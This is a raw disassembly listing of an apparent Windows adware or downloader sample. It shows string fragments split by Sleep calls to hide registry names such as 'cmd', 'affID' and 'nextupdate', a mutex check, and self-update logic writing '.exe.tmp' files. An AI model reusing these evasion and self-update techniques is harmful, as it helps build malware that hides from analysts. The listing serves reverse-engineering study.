lea ecx, [ebp-44h]
mov byte ptr [ebp-4], 2
call sub_40671B
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 4
call sub_41151E
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 5
call sub_41151E
lea eax, [ebp-1Ch]
lea ecx, [ebp-44h]
push eax
mov byte ptr [ebp-4], 6
call sub_406B4C
lea eax, [ebp-1Ch]
lea ecx, [ebp-18h]
push eax
mov byte ptr [ebp-4], 7
call sub_411518
lea ecx, [ebp-1Ch]
mov byte ptr [ebp-4], 6
call sub_411512
lea eax, [ebp+8]
push offset asc_41735C ; " "
push eax
lea eax, [ebp-20h]
push eax
call sub_41152A
lea ecx, [ebp+0Ch]
mov byte ptr [ebp-4], 8
push ecx
push eax
lea eax, [ebp-1Ch]
push eax
call sub_411524
push eax
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 9
call sub_411518
lea ecx, [ebp-1Ch]
mov byte ptr [ebp-4], 8
call sub_411512
lea ecx, [ebp-20h]
mov byte ptr [ebp-4], 6
call sub_411512
push dword ptr [ebp-14h]
push dword ptr [ebp-18h]
call dword_4131EC ; _mbscmp
pop ecx
test eax, eax
pop ecx
jz short loc_4052B7
push ecx
lea eax, [ebp-14h]
mov ecx, esp
mov [ebp-24h], esp
push eax
call sub_411506
lea ecx, [ebp-44h]
call sub_406BA8
loc_4052B7: ; CODE XREF: sub_405150+14Ej
push ecx
lea eax, [ebp+0Ch]
mov ecx, esp
mov [ebp-24h], esp
push eax
call sub_411506
mov ecx, edi
call sub_40592B
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 5
call sub_411512
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 4
call sub_411512
lea ecx, [ebp-44h]
mov byte ptr [ebp-4], 2
call sub_4068AF
lea ecx, [ebp-10h]
mov byte ptr [ebp-4], 1
call sub_411512
and byte ptr [ebp-4], 0
lea ecx, [ebp+8]
call sub_411512
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+0Ch]
call sub_411512
mov ecx, [ebp-0Ch]
pop edi
mov al, 1
mov large fs:0, ecx
pop esi
leave
retn 8
sub_405150 endp
; =============== S U B R O U T I N E =======================================
sub_405327 proc near ; CODE XREF: sub_40831F+176p
mov eax, offset loc_411F8F
call sub_41163A ; _EH_prolog
sub esp, 34h
and dword ptr [ebp-1Ch], 0
push ebx
push esi
lea ecx, [ebp-10h]
call sub_41151E
push 1
lea ecx, [ebp-10h]
pop ebx
push offset aWr ; "WR"
mov [ebp-4], ebx
call sub_41150C
mov esi, dword_4130E0
push 1Eh
call esi ; Sleep
push offset dword_417130
lea ecx, [ebp-10h]
call sub_411548
push 1Dh
call esi ; Sleep
push offset aConfi ; "confi"
lea ecx, [ebp-10h]
call sub_411548
push 1Dh
call esi ; Sleep
push offset aGversion ; "gversion"
lea ecx, [ebp-10h]
call sub_411548
push 80000000h
push ebx
push ecx
mov ecx, esp
mov [ebp-18h], esp
push offset byte_419C40
call sub_4114FA
push ecx
lea eax, [ebp-10h]
mov ecx, esp
mov [ebp-20h], esp
push eax
mov byte ptr [ebp-4], 2
call sub_411506
lea ecx, [ebp-40h]
mov [ebp-4], bl
call sub_40671B
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 3
call sub_41151E
lea eax, [ebp-18h]
lea ecx, [ebp-40h]
push eax
mov byte ptr [ebp-4], 4
call sub_406B4C
lea eax, [ebp-18h]
lea ecx, [ebp-14h]
push eax
mov byte ptr [ebp-4], 5
call sub_411518
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 4
call sub_411512
mov ecx, [ebp+8]
lea eax, [ebp-14h]
push eax
call sub_411506
mov [ebp-1Ch], ebx
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 3
call sub_411512
lea ecx, [ebp-40h]
mov [ebp-4], bl
call sub_4068AF
and byte ptr [ebp-4], 0
lea ecx, [ebp-10h]
call sub_411512
mov eax, [ebp+8]
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_405327 endp
; =============== S U B R O U T I N E =======================================
sub_40543F proc near ; CODE XREF: sub_4091F5+6Ep
; sub_4091F5+12Bp ...
mov eax, offset loc_411FAC
call sub_41163A ; _EH_prolog
sub esp, 28h
push esi
push edi
lea ecx, [ebp-10h]
call sub_41151E
and dword ptr [ebp-4], 0
push offset aWr ; "WR"
lea ecx, [ebp-10h]
call sub_41150C
mov esi, dword_4130E0
push 1Ch
pop edi
push edi
call esi ; Sleep
push offset dword_417130
lea ecx, [ebp-10h]
call sub_411548
push edi
call esi ; Sleep
push offset aNex ; "nex"
lea ecx, [ebp-10h]
call sub_411548
push edi
call esi ; Sleep
push offset aTup ; "tup"
lea ecx, [ebp-10h]
call sub_411548
push edi
call esi ; Sleep
push offset aDate ; "date"
lea ecx, [ebp-10h]
call sub_411548
push 80000000h
push 1
push 0
push ecx
lea eax, [ebp-10h]
mov ecx, esp
mov [ebp-14h], esp
push eax
call sub_411506
lea ecx, [ebp-34h]
call sub_406374
lea ecx, [ebp-34h]
mov byte ptr [ebp-4], 1
call sub_406606
mov edi, [ebp+8]
mov esi, eax
test edi, edi
jle short loc_4054F8
lea eax, [ebp+8]
push eax
call dword_4131A4 ; time
mov eax, [ebp+8]
pop ecx
lea esi, [eax+edi]
jmp short loc_405510
; ---------------------------------------------------------------------------
loc_4054F8: ; CODE XREF: sub_40543F+A4j
test esi, esi
jnz short loc_405519
lea eax, [ebp+8]
push eax
call dword_4131A4 ; time
mov eax, [ebp+8]
pop ecx
lea esi, [eax+0B4h]
loc_405510: ; CODE XREF: sub_40543F+B7j
push esi
lea ecx, [ebp-34h]
call sub_406633
loc_405519: ; CODE XREF: sub_40543F+BBj
and byte ptr [ebp-4], 0
lea ecx, [ebp-34h]
call sub_4064C6
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-10h]
call sub_411512
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
mov large fs:0, ecx
pop esi
leave
retn 4
sub_40543F endp
; =============== S U B R O U T I N E =======================================
sub_405543 proc near ; CODE XREF: sub_402A1E+163p
arg_0 = dword ptr 4
push ebx
push esi
push [esp+8+arg_0]
mov esi, ecx
push 0
push 0
call dword_4130B0 ; CreateMutexA
add esi, 0Ch
test eax, eax
mov [esi], eax
jz short loc_405576
call dword_413028 ; RtlGetLastWin32Error
cmp eax, 0B7h
jnz short loc_405576
push dword ptr [esi]
call dword_413020 ; CloseHandle
and dword ptr [esi], 0
loc_405576: ; CODE XREF: sub_405543+19j
; sub_405543+26j
cmp dword ptr [esi], 0
lea ecx, [esp+8+arg_0]
setz bl
call sub_411512
mov al, bl
pop esi
pop ebx
retn 4
sub_405543 endp
; =============== S U B R O U T I N E =======================================
sub_40558C proc near ; CODE XREF: sub_40831F+DEp
mov eax, offset loc_411FF7
call sub_41163A ; _EH_prolog
sub esp, 34h
and dword ptr [ebp-1Ch], 0
push ebx
push esi
lea ecx, [ebp-10h]
call sub_41151E
push 1
lea ecx, [ebp-10h]
pop ebx
push offset aWr ; "WR"
mov [ebp-4], ebx
call sub_41150C
mov esi, dword_4130E0
push 1Eh
call esi ; Sleep
push offset dword_417130
lea ecx, [ebp-10h]
call sub_411548
push 1Ch
call esi ; Sleep
push offset aP_0 ; "p"
lea ecx, [ebp-10h]
call sub_411548
push 80000000h
push ebx
push ecx
mov ecx, esp
mov [ebp-18h], esp
push offset byte_419C40
call sub_4114FA
push ecx
lea eax, [ebp-10h]
mov ecx, esp
mov [ebp-20h], esp
push eax
mov byte ptr [ebp-4], 2
call sub_411506
lea ecx, [ebp-40h]
mov [ebp-4], bl
call sub_40671B
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 3
call sub_41151E
lea eax, [ebp-18h]
lea ecx, [ebp-40h]
push eax
mov byte ptr [ebp-4], 4
call sub_406B4C
lea eax, [ebp-18h]
lea ecx, [ebp-14h]
push eax
mov byte ptr [ebp-4], 5
call sub_411518
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 4
call sub_411512
mov ecx, [ebp+8]
lea eax, [ebp-14h]
push eax
call sub_411506
mov [ebp-1Ch], ebx
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 3
call sub_411512
lea ecx, [ebp-40h]
mov [ebp-4], bl
call sub_4068AF
and byte ptr [ebp-4], 0
lea ecx, [ebp-10h]
call sub_411512
mov ecx, [ebp-0Ch]
mov eax, [ebp+8]
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_40558C endp
; =============== S U B R O U T I N E =======================================
sub_405693 proc near ; CODE XREF: sub_40831F+A7p
mov eax, offset loc_412043
call sub_41163A ; _EH_prolog
sub esp, 34h
and dword ptr [ebp-1Ch], 0
push ebx
push esi
lea ecx, [ebp-10h]
call sub_41151E
push 1
lea ecx, [ebp-10h]
pop ebx
push offset aW ; "W"
mov [ebp-4], ebx
call sub_41150C
mov esi, dword_4130E0
push 1Eh
call esi ; Sleep
push offset aR ; "R"
lea ecx, [ebp-10h]
call sub_411548
push 1Eh
call esi ; Sleep
push offset dword_417130
lea ecx, [ebp-10h]
call sub_411548
push 1Ch
call esi ; Sleep
push offset aI ; "i"
lea ecx, [ebp-10h]
call sub_411548
push 80000000h
push ebx
push ecx
mov ecx, esp
mov [ebp-18h], esp
push offset byte_419C40
call sub_4114FA
push ecx
lea eax, [ebp-10h]
mov ecx, esp
mov [ebp-20h], esp
push eax
mov byte ptr [ebp-4], 2
call sub_411506
lea ecx, [ebp-40h]
mov [ebp-4], bl
call sub_40671B
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 3
call sub_41151E
lea eax, [ebp-18h]
lea ecx, [ebp-40h]
push eax
mov byte ptr [ebp-4], 4
call sub_406B4C
lea eax, [ebp-18h]
lea ecx, [ebp-14h]
push eax
mov byte ptr [ebp-4], 5
call sub_411518
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 4
call sub_411512
mov ecx, [ebp+8]
lea eax, [ebp-14h]
push eax
call sub_411506
mov [ebp-1Ch], ebx
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 3
call sub_411512
lea ecx, [ebp-40h]
mov [ebp-4], bl
call sub_4068AF
and byte ptr [ebp-4], 0
lea ecx, [ebp-10h]
call sub_411512
mov eax, [ebp+8]
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_405693 endp
; =============== S U B R O U T I N E =======================================
sub_4057AB proc near ; CODE XREF: sub_404605+2E2p
mov eax, offset loc_412090
call sub_41163A ; _EH_prolog
sub esp, 34h
push esi
and dword ptr [ebp-4], 0
lea ecx, [ebp-10h]
call sub_41151E
push offset aW ; "W"
lea ecx, [ebp-10h]
mov byte ptr [ebp-4], 1
call sub_41150C
mov esi, dword_4130E0
push 1Eh
call esi ; Sleep
push offset aR ; "R"
lea ecx, [ebp-10h]
call sub_411548
push 1Eh
call esi ; Sleep
push offset dword_417130
lea ecx, [ebp-10h]
call sub_411548
push 1Ch
call esi ; Sleep
push offset aI ; "i"
lea ecx, [ebp-10h]
call sub_411548
mov eax, [ebp+8]
mov eax, [eax-8]
cmp eax, 3
jl loc_405904
push 80000000h
push 1
push ecx
mov ecx, esp
mov [ebp-1Ch], esp
push offset byte_419C40
call sub_4114FA
push ecx
lea eax, [ebp-10h]
mov ecx, esp
mov [ebp-18h], esp
push eax
mov byte ptr [ebp-4], 2
call sub_411506
lea ecx, [ebp-40h]
mov byte ptr [ebp-4], 1
call sub_40671B
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 3
call sub_41151E
lea eax, [ebp-18h]
lea ecx, [ebp-40h]
push eax
mov byte ptr [ebp-4], 4
call sub_406B4C
lea eax, [ebp-18h]
lea ecx, [ebp-14h]
push eax
mov byte ptr [ebp-4], 5
call sub_411518
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 4
call sub_411512
lea eax, [ebp-14h]
push offset asc_4173DC ; ","
push eax
lea eax, [ebp-1Ch]
push eax
call sub_41152A
lea ecx, [ebp+8]
mov byte ptr [ebp-4], 6
push ecx
push eax
lea eax, [ebp-18h]
push eax
call sub_411524
push eax
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 7
call sub_411518
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 6
call sub_411512
lea ecx, [ebp-1Ch]
mov byte ptr [ebp-4], 4
call sub_411512
push ecx
lea eax, [ebp-14h]
mov ecx, esp
mov [ebp-20h], esp
push eax
call sub_411506
lea ecx, [ebp-40h]
call sub_406BA8
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 3
call sub_411512
lea ecx, [ebp-40h]
mov byte ptr [ebp-4], 1
call sub_4068AF
loc_405904: ; CODE XREF: sub_4057AB+6Dj
and byte ptr [ebp-4], 0
lea ecx, [ebp-10h]
call sub_411512
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+8]
call sub_411512
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4057AB endp
; =============== S U B R O U T I N E =======================================
sub_40592B proc near ; CODE XREF: sub_405150+178p
mov eax, offset loc_4120CC
call sub_41163A ; _EH_prolog
sub esp, 30h
push esi
and dword ptr [ebp-4], 0
lea ecx, [ebp-10h]
call sub_41151E
push offset aW ; "W"
lea ecx, [ebp-10h]
mov byte ptr [ebp-4], 1
call sub_41150C
mov esi, dword_4130E0
push 1Eh
call esi ; Sleep
push offset aR ; "R"
lea ecx, [ebp-10h]
call sub_411548
push 1Eh
call esi ; Sleep
push offset dword_417130
lea ecx, [ebp-10h]
call sub_411548
push 1Ch
call esi ; Sleep
push offset aCmd ; "cmd"
lea ecx, [ebp-10h]
call sub_411548
push 80000000h
push 1
push ecx
mov esi, offset a0 ; "0"
mov ecx, esp
mov [ebp-18h], esp
push esi
call sub_4114FA
push ecx
lea eax, [ebp-10h]
mov ecx, esp
mov [ebp-1Ch], esp
push eax
mov byte ptr [ebp-4], 2
call sub_411506
lea ecx, [ebp-3Ch]
mov byte ptr [ebp-4], 1
call sub_40671B
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 3
call sub_41151E
lea eax, [ebp-18h]
lea ecx, [ebp-3Ch]
push eax
mov byte ptr [ebp-4], 4
call sub_406B4C
lea eax, [ebp-18h]
lea ecx, [ebp-14h]
push eax
mov byte ptr [ebp-4], 5
call sub_411518
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 4
call sub_411512
push esi
push dword ptr [ebp-14h]
call dword_4131EC ; _mbscmp
pop ecx
test eax, eax
pop ecx
jnz short loc_405A25
push ecx
lea eax, [ebp+8]
mov ecx, esp
mov [ebp-1Ch], esp
push eax
call sub_411506
lea ecx, [ebp-3Ch]
call sub_406BA8
loc_405A25: ; CODE XREF: sub_40592B+E1j
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 3
call sub_411512
lea ecx, [ebp-3Ch]
mov byte ptr [ebp-4], 1
call sub_4068AF
and byte ptr [ebp-4], 0
lea ecx, [ebp-10h]
call sub_411512
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+8]
call sub_411512
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn 4
sub_40592B endp
; =============== S U B R O U T I N E =======================================
sub_405A64 proc near ; CODE XREF: sub_408D9F+70p
mov eax, offset loc_412117
call sub_41163A ; _EH_prolog
sub esp, 34h
and dword ptr [ebp-1Ch], 0
push ebx
push esi
lea ecx, [ebp-10h]
call sub_41151E
push 1
lea ecx, [ebp-10h]
pop ebx
push offset aW ; "W"
mov [ebp-4], ebx
call sub_41150C
mov esi, dword_4130E0
push 1Eh
call esi ; Sleep
push offset aR ; "R"
lea ecx, [ebp-10h]
call sub_411548
push 1Eh
call esi ; Sleep
push offset dword_417130
lea ecx, [ebp-10h]
call sub_411548
push 1Ch
call esi ; Sleep
push offset aC ; "c"
lea ecx, [ebp-10h]
call sub_411548
push 1Ch
call esi ; Sleep
push offset aMd ; "md"
lea ecx, [ebp-10h]
call sub_411548
push 1Ch
call esi ; Sleep
push 80000000h
push ebx
push ecx
mov ecx, esp
mov [ebp-18h], esp
push offset byte_419C40
call sub_4114FA
push ecx
lea eax, [ebp-10h]
mov ecx, esp
mov [ebp-20h], esp
push eax
mov byte ptr [ebp-4], 2
call sub_411506
lea ecx, [ebp-40h]
mov [ebp-4], bl
call sub_40671B
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 3
call sub_41151E
lea eax, [ebp-18h]
lea ecx, [ebp-40h]
push eax
mov byte ptr [ebp-4], 4
call sub_406B4C
lea eax, [ebp-18h]
lea ecx, [ebp-14h]
push eax
mov byte ptr [ebp-4], 5
call sub_411518
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 4
call sub_411512
mov ecx, [ebp+8]
lea eax, [ebp-14h]
push eax
call sub_411506
mov [ebp-1Ch], ebx
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 3
call sub_411512
lea ecx, [ebp-40h]
mov [ebp-4], bl
call sub_4068AF
and byte ptr [ebp-4], 0
lea ecx, [ebp-10h]
call sub_411512
mov ecx, [ebp-0Ch]
mov eax, [ebp+8]
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_405A64 endp
; =============== S U B R O U T I N E =======================================
sub_405B91 proc near ; CODE XREF: sub_405E1F+5Cp
mov eax, offset loc_41213C
call sub_41163A ; _EH_prolog
mov eax, 8020h
call sub_4115D0
push ebx
push esi
push edi
mov [ebp-18h], ecx
xor ebx, ebx
lea ecx, [ebp-1Ch]
mov [ebp-4], ebx
call sub_41151E
push dword ptr [ebp+8]
mov esi, dword_4130CC
lea eax, [ebp-602Ch]
mov byte ptr [ebp-4], 1
push eax
call esi ; lstrcpyA
lea eax, [ebp-602Ch]
push eax
call dword_4130BC ; lstrlenA
mov ecx, [ebp-18h]
push eax
lea eax, [ebp-602Ch]
push eax
lea eax, [ebp-10h]
push eax
call sub_4030F7
push eax
lea ecx, [ebp-1Ch]
mov byte ptr [ebp-4], 2
call sub_411518
lea ecx, [ebp-10h]
mov byte ptr [ebp-4], 1
call sub_411512
push dword ptr [ebp-1Ch]
lea eax, [ebp-402Ch]
push eax
call dword_41329C ; wsprintfA
cmp byte ptr [ebp-402Ch], 23h
pop ecx
pop ecx
jnz loc_405DF5
push ebx
lea eax, [ebp-402Ch]
push 1
push eax
lea eax, [ebp-10h]
lea ecx, [ebp-14h]
push eax
call sub_401ACF
push dword ptr [eax]
lea eax, [ebp-402Ch]
push eax
call sub_411628 ; strcpy
pop ecx
pop ecx
lea ecx, [ebp-10h]
call sub_411512
lea eax, [ebp-402Ch]
push 23h
push eax
lea ecx, [ebp-14h]
call sub_401A20
mov edi, eax
cmp edi, ebx
mov [ebp-10h], edi
jz loc_405DF5
jmp short loc_405C78
; ---------------------------------------------------------------------------
loc_405C75: ; CODE XREF: sub_405B91+25Ej
mov edi, [ebp-10h]
loc_405C78: ; CODE XREF: sub_405B91+E2j
cmp edi, 0FFFFFFFFh
jnz short loc_405C8F
lea eax, [ebp-402Ch]
push eax
lea eax, [ebp-202Ch]
push eax
call esi ; lstrcpyA
jmp short loc_405CB7
; ---------------------------------------------------------------------------
loc_405C8F: ; CODE XREF: sub_405B91+EAj
push edi
lea eax, [ebp-402Ch]
push ebx
push eax
lea eax, [ebp-28h]
lea ecx, [ebp-14h]
push eax
call sub_401ACF
push dword ptr [eax]
lea eax, [ebp-202Ch]
push eax
call esi ; lstrcpyA
lea ecx, [ebp-28h]
call sub_411512
loc_405CB7: ; CODE XREF: sub_405B91+FCj
inc edi
push ebx
lea eax, [ebp-402Ch]
push edi
push eax
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-14h]
call sub_401ACF
push dword ptr [eax]
lea eax, [ebp-402Ch]
push eax
call esi ; lstrcpyA
lea ecx, [ebp-20h]
call sub_411512
lea eax, [ebp-202Ch]
push 3Ah
push eax
lea ecx, [ebp-14h]
call sub_401A20
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_405D4B
push edi
lea eax, [ebp-202Ch]
push ebx
push eax
lea eax, [ebp-24h]
lea ecx, [ebp-14h]
push eax
call sub_401ACF
push dword ptr [eax]
lea eax, [ebp-802Ch]
push eax
call esi ; lstrcpyA
lea ecx, [ebp-24h]
call sub_411512
inc edi
push ebx
lea eax, [ebp-202Ch]
push edi
push eax
lea eax, [ebp-2Ch]
push eax
lea ecx, [ebp-14h]
call sub_401ACF
push dword ptr [eax]
lea eax, [ebp-202Ch]
push eax
call esi ; lstrcpyA
lea ecx, [ebp-2Ch]
call sub_411512
jmp short loc_405D70
; ---------------------------------------------------------------------------
loc_405D4B: ; CODE XREF: sub_405B91+165j
lea eax, [ebp-202Ch]
push eax
lea eax, [ebp-802Ch]
push eax
call esi ; lstrcpyA
push 2000h
lea eax, [ebp-202Ch]
push ebx
push eax
call sub_411622 ; memset
add esp, 0Ch
loc_405D70: ; CODE XREF: sub_405B91+1B8j
push 5
lea eax, [ebp-802Ch]
push offset aAffid ; "affID"
push eax
call dword_4131AC ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_405DD3
lea eax, [ebp-202Ch]
push eax
call sub_41162E ; strlen
cmp eax, 1
pop ecx
jle short loc_405DB8
push 89h
mov [ebp+eax-202Dh], bl
call dword_4130E0 ; Sleep
lea eax, [ebp-202Ch]
push eax
jmp short loc_405DC8
; ---------------------------------------------------------------------------
loc_405DB8: ; CODE XREF: sub_405B91+20Aj
push 0BCh
call dword_4130E0 ; Sleep
push offset byte_419C40
loc_405DC8: ; CODE XREF: sub_405B91+225j
mov eax, [ebp-18h]
lea ecx, [eax+4]
call sub_41150C
loc_405DD3: ; CODE XREF: sub_405B91+1F8j
cmp dword ptr [ebp-10h], 0FFFFFFFFh
jz short loc_405DF5
lea eax, [ebp-402Ch]
push 23h
push eax
lea ecx, [ebp-14h]
call sub_401A20
cmp eax, ebx
mov [ebp-10h], eax
jnz loc_405C75
loc_405DF5: ; CODE XREF: sub_405B91+90j
; sub_405B91+DCj ...
lea ecx, [ebp-1Ch]
mov [ebp-4], bl
call sub_411512
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+8]
call sub_411512
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov al, 1
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_405B91 endp
; =============== S U B R O U T I N E =======================================
sub_405E1F proc near ; CODE XREF: sub_4091F5+59p
mov eax, offset loc_4121D0
call sub_41163A ; _EH_prolog
sub esp, 68h
push ebx
push esi
push edi
mov edi, ecx
mov esi, dword_4130E0
and dword ptr [ebp-4], 0
push 0CE4h
call esi ; Sleep
lea ecx, [ebp-14h]
call sub_41151E
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 1
call sub_41151E
lea ecx, [ebp-34h]
mov byte ptr [ebp-4], 2
call sub_41151E
push 1Eh
mov byte ptr [ebp-4], 3
call esi ; Sleep
push ecx
lea eax, [ebp+8]
mov ecx, esp
mov [ebp-30h], esp
push eax
call sub_411506
mov ecx, edi
call sub_405B91
lea ebx, [edi+1Ch]
push offset aM ; "\\m"
lea eax, [ebp-2Ch]
push ebx
push eax
call sub_41152A
push eax
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 4
call sub_411518
lea ecx, [ebp-2Ch]
mov byte ptr [ebp-4], 3
call sub_411512
push 1Eh
call esi ; Sleep
push offset aRo ; "ro"
lea ecx, [ebp-14h]
call sub_411548
push 1Eh
call esi ; Sleep
push offset aFinu ; "finu"
lea ecx, [ebp-14h]
call sub_411548
push 1Ch
call esi ; Sleep
lea eax, [edi+4]
push offset a_ex ; ".ex"
push eax
lea eax, [ebp-2Ch]
push eax
call sub_41152A
push eax
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 5
call sub_411554
lea ecx, [ebp-2Ch]
mov byte ptr [ebp-4], 3
call sub_411512
push offset aE ; "e"
lea ecx, [ebp-14h]
call sub_411548
push ebx
lea ecx, [ebp-18h]
call sub_411518
push offset dword_417130
lea ecx, [ebp-18h]
call sub_411548
push 1Dh
call esi ; Sleep
push offset aMr ; "mr"
lea ecx, [ebp-18h]
call sub_411548
push 1Eh
call esi ; Sleep
push offset aOf ; "of"
lea ecx, [ebp-18h]
call sub_411548
lea eax, [edi+4]
push eax
lea eax, [ebp-28h]
push offset aInu ; "inu"
push eax
call sub_41154E
push offset a_exe_tmp ; ".exe.tmp"
push eax
lea eax, [ebp-2Ch]
mov byte ptr [ebp-4], 6
push eax
call sub_41152A
push eax
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 7
call sub_411554
lea ecx, [ebp-2Ch]
mov byte ptr [ebp-4], 6
call sub_411512
lea ecx, [ebp-28h]
mov byte ptr [ebp-4], 3
call sub_411512
push 1Ch
call esi ; Sleep
push ecx
lea eax, [ebp+8]
mov ecx, esp
mov [ebp-30h], esp
push eax
call sub_411506
push ecx
lea eax, [ebp-14h]
mov ecx, esp
mov [ebp-2Ch], esp
push eax
mov byte ptr [ebp-4], 8
call sub_411506
mov ecx, edi
mov byte ptr [ebp-4], 3
call sub_405150
push dword ptr [edi+20h]
lea ebx, [edi+20h]
push dword ptr [ebp-14h]
call dword_4131EC ; _mbscmp
pop ecx
test eax, eax
pop ecx
jz short loc_406026
push dword ptr [ebp-18h]
call sub_4021DB
test eax, eax
pop ecx
jz short loc_405FEA
push 1
push dword ptr [ebp-18h]
call sub_401C92
pop ecx
pop ecx
loc_405FEA: ; CODE XREF: sub_405E1F+1BDj
push dword ptr [ebp-14h]
call sub_4021DB
test eax, eax
pop ecx
jz short loc_406007
push 1
push dword ptr [ebp-18h]
push dword ptr [ebp-14h]
call sub_401D8A
add esp, 0Ch
loc_406007: ; CODE XREF: sub_405E1F+1D6j
mov eax, [ebx]
push 1
push dword ptr [ebp-14h]
push eax
call sub_401D8A
add esp, 0Ch
test eax, eax
jz short loc_406026
lea eax, [ebp-14h]
mov ecx, ebx
push eax
call sub_411518
loc_406026: ; CODE XREF: sub_405E1F+1B0j
; sub_405E1F+1FAj
push 80000002h
push 1
push ecx
mov ecx, esp
mov [ebp-30h], esp
push offset aDefaultvalue ; "defaultvalue"
call sub_4114FA
push ecx
mov ecx, edi
mov eax, esp
mov [ebp-2Ch], esp
push 72h
push offset a11866787a5f240 ; "11866787A5F240675EE6610530A652BC94C74E7"...
push eax
mov byte ptr [ebp-4], 9
call sub_4030F7
lea ecx, [ebp-74h]
mov byte ptr [ebp-4], 3
call sub_40671B
lea ecx, [ebp-1Ch]
mov byte ptr [ebp-4], 0Ah
call sub_41151E
push offset aWr ; "WR"
lea ecx, [ebp-1Ch]
mov byte ptr [ebp-4], 0Bh
call sub_41150C
push 1Ch
call esi ; Sleep
push offset aVersion_1 ; "\\version"
lea ecx, [ebp-1Ch]
call sub_411548
push 80000000h
push 1
push ecx
mov ecx, esp
mov [ebp-30h], esp
push edi
call sub_411506
push ecx
lea eax, [ebp-1Ch]
mov ecx, esp
mov [ebp-2Ch], esp
push eax
mov byte ptr [ebp-4], 0Ch
call sub_411506
lea ecx, [ebp-54h]
mov byte ptr [ebp-4], 0Bh
call sub_40671B
lea eax, [ebp-24h]
lea ecx, [ebp-74h]
push eax
mov byte ptr [ebp-4], 0Dh
call sub_406B4C
lea eax, [ebp-24h]
lea ecx, [ebp-2Ch]
push eax
mov byte ptr [ebp-4], 0Eh
call sub_411506
push eax
lea ecx, [edi+24h]
mov byte ptr [ebp-4], 0Fh
call sub_411518
lea ecx, [ebp-2Ch]
mov byte ptr [ebp-4], 0Eh
call sub_411512
lea ecx, [ebp-24h]
mov byte ptr [ebp-4], 0Dh
call sub_411512
push dword ptr [edi]
mov ebx, dword_4131A8
call ebx ; atoi
pop ecx
mov [ebp-2Ch], eax
mov dword ptr [ebp-4], 0Dh
push 26h
call esi ; Sleep
and dword ptr [ebp-20h], 0
lea eax, [edi+14h]
mov [ebp-24h], eax
loc_40612A: ; CODE XREF: sub_405E1F+358j
lea eax, [ebp-28h]
lea ecx, [ebp-54h]
push eax
call sub_406B4C
mov ecx, [ebp-24h]
lea eax, [ebp-28h]
push eax
mov byte ptr [ebp-4], 12h
call sub_411518
lea ecx, [ebp-28h]
mov byte ptr [ebp-4], 0Dh
call sub_411512
mov eax, [ebp-24h]
push dword ptr [eax]
call ebx ; atoi
cmp eax, [ebp-2Ch]
pop ecx
mov [ebp-30h], eax
mov dword ptr [ebp-4], 0Dh
jge short loc_406179
push 13A5h
call esi ; Sleep
inc dword ptr [ebp-20h]
cmp dword ptr [ebp-20h], 0Ah
jl short loc_40612A
loc_406179: ; CODE XREF: sub_405E1F+348j
mov eax, [ebp-2Ch]
cmp [ebp-30h], eax
jle short loc_406187
mov byte ptr [edi+18h], 1
jmp short loc_4061A1
; ---------------------------------------------------------------------------
loc_406187: ; CODE XREF: sub_405E1F+360j
and byte ptr [edi+18h], 0
push ecx
mov ecx, esp
mov [ebp-30h], esp
push dword ptr [ebp-24h]
call sub_411506
lea ecx, [ebp-54h]
call sub_406BA8
loc_4061A1: ; CODE XREF: sub_405E1F+366j
lea ecx, [ebp-54h]
mov byte ptr [ebp-4], 0Bh
call sub_4068AF
lea ecx, [ebp-1Ch]
mov byte ptr [ebp-4], 0Ah
call sub_411512
lea ecx, [ebp-74h]
mov byte ptr [ebp-4], 3
call sub_4068AF
lea ecx, [ebp-34h]
mov byte ptr [ebp-4], 2
call sub_411512
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 1
call sub_411512
and byte ptr [ebp-4], 0
lea ecx, [ebp-14h]
call sub_411512
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+8]
call sub_411512
mov ecx, [ebp-0Ch]
pop edi
pop esi
